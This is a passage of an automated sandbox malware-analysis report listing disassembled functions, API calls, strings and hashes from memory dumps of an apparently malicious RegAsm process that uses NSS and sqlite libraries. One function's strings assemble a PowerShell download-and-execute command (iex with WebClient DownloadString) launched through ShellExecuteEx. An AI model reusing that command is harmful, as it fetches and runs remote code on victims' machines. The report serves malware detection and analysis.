9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C45AFC4
misuse, xrefs: 6C45AFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6C45AF5C

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 056d1ea313f7f48650afc52a04701471a225e6d52d92d6c59e28280c3cdf435e
Instruction ID: b33ea77313f702c5ac1db90167997aeb66b982713785292dd4adc0818f3df744
Opcode Fuzzy Hash: 056d1ea313f7f48650afc52a04701471a225e6d52d92d6c59e28280c3cdf435e
Instruction Fuzzy Hash: 0A91DE71B012158FDB04CF69C850FBEBBF1AF49315F5985A8E865AB791C331AC12CBA0

Function 00416F00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00416F1F
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,0041719A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 00416F4D

Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416BE1
Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416C05

VirtualQueryEx.KERNEL32(?,00000000,?,0000001C), ref: 00416F92
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041719A), ref: 004170B3

Part of subcall function 00416DE0: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00416DF8

Strings

@, xrefs: 00416FA6

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction ID: da6ee04ed372484ea639f8c5ae6d2cf8ded6d6947598eb42fecba3fc0a9bdd2e
Opcode Fuzzy Hash: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction Fuzzy Hash: 27511CB5E041099BDB04CF98D981AEFBBB5FF88304F108559F919A7340D738EA51CBA5

Function 004069B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,00406E2A), ref: 00406A19

Strings

*n@, xrefs: 00406B28, 00406BB6, 00406BBB, 00406B65
*n@, xrefs: 004069BD, 004069C9, 004069DC, 004069E5, 00406A09, 00406A32, 00406A35, 00406AEF, 00406B01, 00406B0D, 00406B16, 00406B93, 00406B49, 00406A4A, 00406A6D, 00406A79, 00406AA1, 00406AD1, 00406AE3, 00406AAD, 00406ABA, 00406A56

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: *n@$*n@
API String ID: 1029625771-193229609
Opcode ID: bf609db6eed200fea4b15f7f51f4bbb31f3205db81936f2c349fbd39333cdc99
Instruction ID: a280f62563b1b8af23ece619f3fba2aedbd92eaccb2561d1aa32790852693925
Opcode Fuzzy Hash: bf609db6eed200fea4b15f7f51f4bbb31f3205db81936f2c349fbd39333cdc99
Instruction Fuzzy Hash: DA71C874A00119DFCB04CF48C484BEAB7B2FB88315F158179E80AAF391D739AA91CB95

Function 00412C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

ShellExecuteEx.SHELL32(0000003C), ref: 00412D85

Strings

<, xrefs: 00412D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412CC4
')", xrefs: 00412CB3

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 7f128ac8f9bb9458abef97919d6b2e581af989fbd2c846308f4a6e5cacd24915
Instruction ID: 8aa8f54ed0a99c91faffa02525c95fa844b6858a6ee3c68abfdd9097d7126834
Opcode Fuzzy Hash: 7f128ac8f9bb9458abef97919d6b2e581af989fbd2c846308f4a6e5cacd24915
Instruction Fuzzy Hash: 08410E71D112089ADB14FBA1C991FDDB774AF10314F50401EE016A7192DF786ADBCFA9

Function 6C3FE4C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108D2,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C3FE53A
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108BD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C3FE5BC

Strings

%s at line %d of [%.10s], xrefs: 6C3FE534, 6C3FE5B6
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C3FE525, 6C3FE596, 6C3FE5A7
database corruption, xrefs: 6C3FE52F, 6C3FE5B1

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 320d1be009fe6f8998926ccc031ae0c653170cf577f6a1f4bc5740edc2bda01e
Instruction ID: 7309364289ad15134b4c29697eb8be74467d7cf198d794d7bf1d5839575dc7e7
Opcode Fuzzy Hash: 320d1be009fe6f8998926ccc031ae0c653170cf577f6a1f4bc5740edc2bda01e
Instruction Fuzzy Hash: 233124306007149BC312CEADCC9196AB7A1EF45314B540D7DE898A7B45F375E94ACBE0

Function 6C4E6DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C4E6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4E6E57

Part of subcall function 6C51C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C51C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C4E6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C4E6EAA

Strings

nXl, xrefs: 6C4E6DF9

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nXl
API String ID: 3163584228-2538165799
Opcode ID: f0e31a45800f5b901f45e93cba575f20178abe0a87d66a7ba2592978003f25f7
Instruction ID: c49815f9abc0e5669ee95ebcb9a269d5d8330df0aa218d38ab5b255f374e71b0
Opcode Fuzzy Hash: f0e31a45800f5b901f45e93cba575f20178abe0a87d66a7ba2592978003f25f7
Instruction Fuzzy Hash: 2931B47261061AEADB149E38CC04FD6B7A5AB0931BF12063DD699D6BC1EB30B854CB81

Function 6C476420 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000,00000001,00000000,00000000,?,?,6C475DEF,?,?,?), ref: 6C476456
CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001,00000001,00000000,00000000,?,?,6C475DEF,?,?,?), ref: 6C476476
CERT_DestroyCertificate.NSS3(00000000,?,?,?,?,?,?,6C475DEF,?,?,?), ref: 6C4764A0
PR_SetError.NSS3(FFFFE020,00000000,00000001,00000000,00000000,?,?,6C475DEF,?,?,?), ref: 6C4764C2

Strings

]Gl, xrefs: 6C476489

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: CertificateError$DestroyTemp
String ID: ]Gl
API String ID: 3886907618-3020376100
Opcode ID: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction ID: 1180d257b63f372f7211537e1bfb8f5b820144066f25e35bb8f2607c7642f563
Opcode Fuzzy Hash: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction Fuzzy Hash: C121D871A00211ABEB30DE28DC05FE376EAAB40319F144638E919C6B41E7B2D968C7B5

Function 6C460DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C460BDE), ref: 6C460DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C460BDE), ref: 6C460DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C460BDE), ref: 6C460DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C460BDE), ref: 6C460E32

Strings

%s incr => %d (find lib), xrefs: 6C460E2D

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: d7a6838a5388767d17cfb8320a39263042500360c41345fa392516e00ae42e13
Instruction ID: 0ead000c01a93c8b4b947bcab1bea45ccdaaf1f3bf4255ba57cf3543ef1b12b1
Opcode Fuzzy Hash: d7a6838a5388767d17cfb8320a39263042500360c41345fa392516e00ae42e13
Instruction Fuzzy Hash: 0701B1726016209FE620DB25DC45E2773B8DF86A09B0544ADE909D3B42E7A1FC158AE5

Function 6C4A2520 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetFunctionList), ref: 6C4A2538
PR_LogPrint.NSS3( ppFunctionList = 0x%p,?), ref: 6C4A2551

Part of subcall function 6C5809D0: PR_Now.NSS3 ref: 6C580A22
Part of subcall function 6C5809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C580A35
Part of subcall function 6C5809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C580A66
Part of subcall function 6C5809D0: PR_GetCurrentThread.NSS3 ref: 6C580A70
Part of subcall function 6C5809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C580A9D
Part of subcall function 6C5809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C580AC8
Part of subcall function 6C5809D0: PR_vsmprintf.NSS3(?,?), ref: 6C580AE8
Part of subcall function 6C5809D0: EnterCriticalSection.KERNEL32(?), ref: 6C580B19
Part of subcall function 6C5809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C580B48
Part of subcall function 6C5809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C580C76
Part of subcall function 6C5809D0: PR_LogFlush.NSS3 ref: 6C580C7E

Strings

C_GetFunctionList, xrefs: 6C4A2533
nXl, xrefs: 6C4A2569, 6C4A2590
ppFunctionList = 0x%p, xrefs: 6C4A254C

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: ppFunctionList = 0x%p$C_GetFunctionList$nXl
API String ID: 1907330108-3126057992
Opcode ID: 8c7e590d62e2d944da4087acf2d702713d22fc982912f42d580b39bb5d11d198
Instruction ID: a85737408f0687979159c36e5b21397ad398e8a4bf5e76876a04afcfef2d1283
Opcode Fuzzy Hash: 8c7e590d62e2d944da4087acf2d702713d22fc982912f42d580b39bb5d11d198
Instruction Fuzzy Hash: 8E01C074201250AFCB10DB96CD4CF6937B1E7C622AF06402AE50993A14DF34A84BCB9A

Function 6C51AC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]Pl,00000000,?,?,6C4F6AC6,?), ref: 6C51AC2D

Part of subcall function 6C4BADC0: TlsGetValue.KERNEL32(?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAE10
Part of subcall function 6C4BADC0: EnterCriticalSection.KERNEL32(?,?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAE24
Part of subcall function 6C4BADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C49D079,00000000,00000001), ref: 6C4BAE5A
Part of subcall function 6C4BADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAE6F
Part of subcall function 6C4BADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAE7F
Part of subcall function 6C4BADC0: TlsGetValue.KERNEL32(?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAEB1
Part of subcall function 6C4BADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAEC9

PK11_FreeSymKey.NSS3(?,@]Pl,00000000,?,?,6C4F6AC6,?), ref: 6C51AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]Pl,00000000,?,?,6C4F6AC6,?), ref: 6C51AC59
free.MOZGLUE(8CB6FF01,6C4F6AC6,?,?,?,?,?,?,?,?,?,?,6C505D40,00000000,?,6C50AAD4), ref: 6C51AC62

Strings

@]Pl, xrefs: 6C51AC05

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]Pl
API String ID: 1595327144-545999589
Opcode ID: 607fc93a073c8b1a229d17cb059adc61af64a3d440183de1b20d4f673ba32882
Instruction ID: e01bb93db8b1dcff674fff8bbf7437bac68254876088701b93ec4e112c36d0da
Opcode Fuzzy Hash: 607fc93a073c8b1a229d17cb059adc61af64a3d440183de1b20d4f673ba32882
Instruction Fuzzy Hash: 4C0178B56002009BEB01CF15ECC4F46B7A8AF54B1CF188068E8098FB06E731E808CBA2

Function 004192E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

GetFileSizeEx.KERNEL32(000000FF,:A), ref: 00419319
CloseHandle.KERNEL32(000000FF), ref: 00419327

Strings

:A, xrefs: 00419311, 0041933D, 00419314
:A, xrefs: 004192F8, 004192FB

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandleSize
String ID: :A$:A
API String ID: 3849164406-1974578005
Opcode ID: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction ID: 8914ec7bfe49e7fff428ea2f0c8e17c8fee3bdc60d16e88834f62bd89b6794de
Opcode Fuzzy Hash: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction Fuzzy Hash: 14F03C39E80208BBDB20DFF0DC59BDE77BAAB48710F108254FA61A72C0D6789A418B45

Function 00410D90 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00410DB8
strtok_s.MSVCRT ref: 00410EFD

